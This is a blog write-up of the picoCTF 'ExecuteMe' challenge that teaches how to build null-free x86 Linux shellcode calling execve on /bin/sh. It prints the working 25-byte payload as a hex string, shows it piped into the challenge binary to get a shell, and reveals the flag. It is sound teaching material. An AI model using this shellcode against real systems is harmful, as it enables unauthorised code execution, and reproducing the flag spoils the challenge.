PicoCTF – ExecuteMe

Hi guys 🙂

As I explained during my introduction post, I will try to publish few binary exploitation write-ups from picoCTF.

I start with “ExecuteMe”, a really simple challenge which will introduce the concept of shellcode. This shellcode will be useful for the next challenges, since it is going to be reused.

First, let’s define what a shellcode is:

A shellcode is simply a piece of (x86) binary instruction used to spawn shell such as /bin/sh, by performing a system call from the exec family.

A shellcode must be:

  • As small as possible to fill in most buffer
  • Position independent (it should not have hardcoded offset, related to a particular binary section)
  • Null byte (0x00) free in order to be entirely copied when a vulnerable string manipulation function is used (such as strcpy(), strcat(), …)

You must have basic knowledge about x86 instruction, assembly language, and procedure call convention in order to write your first shellcode. I will try to explain step by step, how to write a simple shellcode.

First, let’s take a look at what might look our shellcode from a C language point of view:


user@debian:~$ gcc -m32 test_execve.c -o test_execve
user@debian:~$ ./test_execve
sh-4.3$ exit
exit
user@debian:~$

Let’s take a look at the execve() glibc wrapper’s syscall :

This wrapper function needs 3 arguments :

  • filename: path of a binary (or shell script) to execute
  • argv: list of arguments needed by the binary to execute. This list must be terminated with a NULL pointer, and by convention must contain as a first argument the path of the binary
  • envp: list of environment variables needed by the binary to execute (formatted as key=value). This list must be as well terminated with a NULL pointer

According to wikipedia:

In computing, exec is a functionality of an operating system that runs an executable file in the context of an already existing process, replacing the previous executable. This act is also referred to as an overlay. It is especially important in Unix-like systems, although exists elsewhere. As a new process is not created, the process identifier (PID) does not change, but the machine code, data, heap, and stack of the process are replaced by those of the new program.

Now let’s write this piece of C code in x86 assembly language so that it fits the expectation described previously.

The first thing we need to solve is: how to execute a syscall under a Linux Kernel?
Well, it’s quite simple, we need to execute an int 0x80 instruction while having set in the following registers:

  • eax -> The syscall number to execute
  • ebx -> The first syscall’s argument
  • ecx -> The second syscall’s argument
  • edx -> The third syscall’s argument

The file unistd_32.h contains the list of all syscalls you can execute under an 32 bit architecture. For example, you can learn from this file that the read syscall is number 3 and the write syscall is number 4.

Let’s grep our syscall’s name to find it’s associated syscall number:

user@debian:~$ grep "execve" /usr/include/asm/unistd_32.h
#define __NR_execve 11
user@debian:~$

It looks like 11 is the syscall number we need !

Now, we have to set up the stack and our 4 registers so that:

  • eax contains the value 11
  • ebx points to the string “/bin/sh”
  • ecx points to an array of string like {“/bin/sh”, NULL};
  • edx contains the value 0 (NULL)

Here is our shellcode :

I will go further into details by explaining the purpose of each line:

To set a register to the value 0, it might seems more “logical” to do it in a way like:
mov eax, 0
However, this instruction would introduce a null byte in our shellcode. Another way to do it is simply by doing an exclusive or logical operation of a register with itself.

Theses instructions are used to put into the stack the string “/bin//sh”, terminated by (at least) a null byte. As you should notice, this string in pushed in a very tricky way… Three integers are used to put a string in memory.
Don’t forget that x86 is a little-endian architecture, which means 0x6e69622f (“nib/”) will be stored in memory as 0x2f62696e (“/bin”) and 0x68732f2f (“hs//”) stored as 0x2f2f7368 (“//sh”).
The second trick here is that “//sh” is used rather than “/sh”. It’s simply because the push instruction takes a 32 bit integer value. It works since multiple successive slashes are considered to be the same as one slash.

Thanks to the previous instructions, at this moment the top of the stack points to the string “/bin//sh”. So does the stack frame pointer esp. Let’s simply copy it’s value in ebx (first syscall argument).

The idea here is to put in ecx a pointer to an array of string pointer like {“/bin/sh”, NULL}.
eax still contains 0 from the first instruction, we have our NULL pointer.
ebx contains a pointer on the stack where the string “/bin//sh” is beeing stored, we have our first pointer.
Once these 2 pointers are pushed on the stack, we have our array of string pointer where the base address is simply the address of the first element, that is the address contained in the stack frame pointer esp. Let’s then copy it’s value in ecx (second syscall argument).

Well, now that the syscall’s arguments are set up, we just have to put the value 11 in eax which, as we saw previously, corresponds to the syscall number of execve.
To be more specific, we use al rather then eax.
al is simply the less significant byte of the register eax. This little trick will avoid our shellcode containing 3 null bytes since the instruction would have been mov eax,0x0000000b.
Finally, the int 0x80 assembly instruction interrupts the execution flow and let the kernel execute the requested system call.

Let’s compile our shellcode in order to get the generated bytecode:

user@debian:~$ nasm -f elf32 test_shellcode.S -o test_shellcode.o
user@debian:~$ objdump -d -M intel test_shellcode.o

Let’s see if our shellcode is working, simply by executing it within a basic main() function through a function pointer:


user@debian:~$ gcc -m32 -zexecstack test_main.c -o test_main
user@debian:~$ ./test_main
Shellcode length : 25 bytes
sh-4.3$ exit
exit
user@debian:~$

Well, it works 🙂

As you might notice, the flag -zexecstack, provided to gcc is used to set the stack executable. If it were not provided, the execution would be stopped by the reception of a SIGSEV signal, raised by the kernel when the instruction pointer (eip) would try to access a memory area set as read-write only (error SEGV_ACCERR, invalid permissions for mapped object).

Now that we wrote our shellcode, let’s solve the challenge:

Well, the main() function simply reads up to 128 bytes on the standard input, and executes what was read as x86 instructions, by using the function pointer definition:
typedef void (*function_ptr)();.

Let’s execute this program by providing our shellcode on the standard input!

pico4180@shell:/home/execute$ perl -e 'print "\x31\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > /tmp/shellcode
pico4180@shell:/home/execute$ cat /tmp/shellcode /dev/stdin|./execute
ls
Makefile execute execute.c flag.txt
cat flag.txt
shellcode_is_kinda_cool
exit
pico4180@shell:/home/execute$

And here is the flag: shellcode_is_kinda_cool 🙂

remi

Security Engineer / Malware Analyst, interested in reverse engineering, vulnerability exploitation, OS architecture & software developpement.

Leave a Reply

Your email address will not be published. Required fields are marked *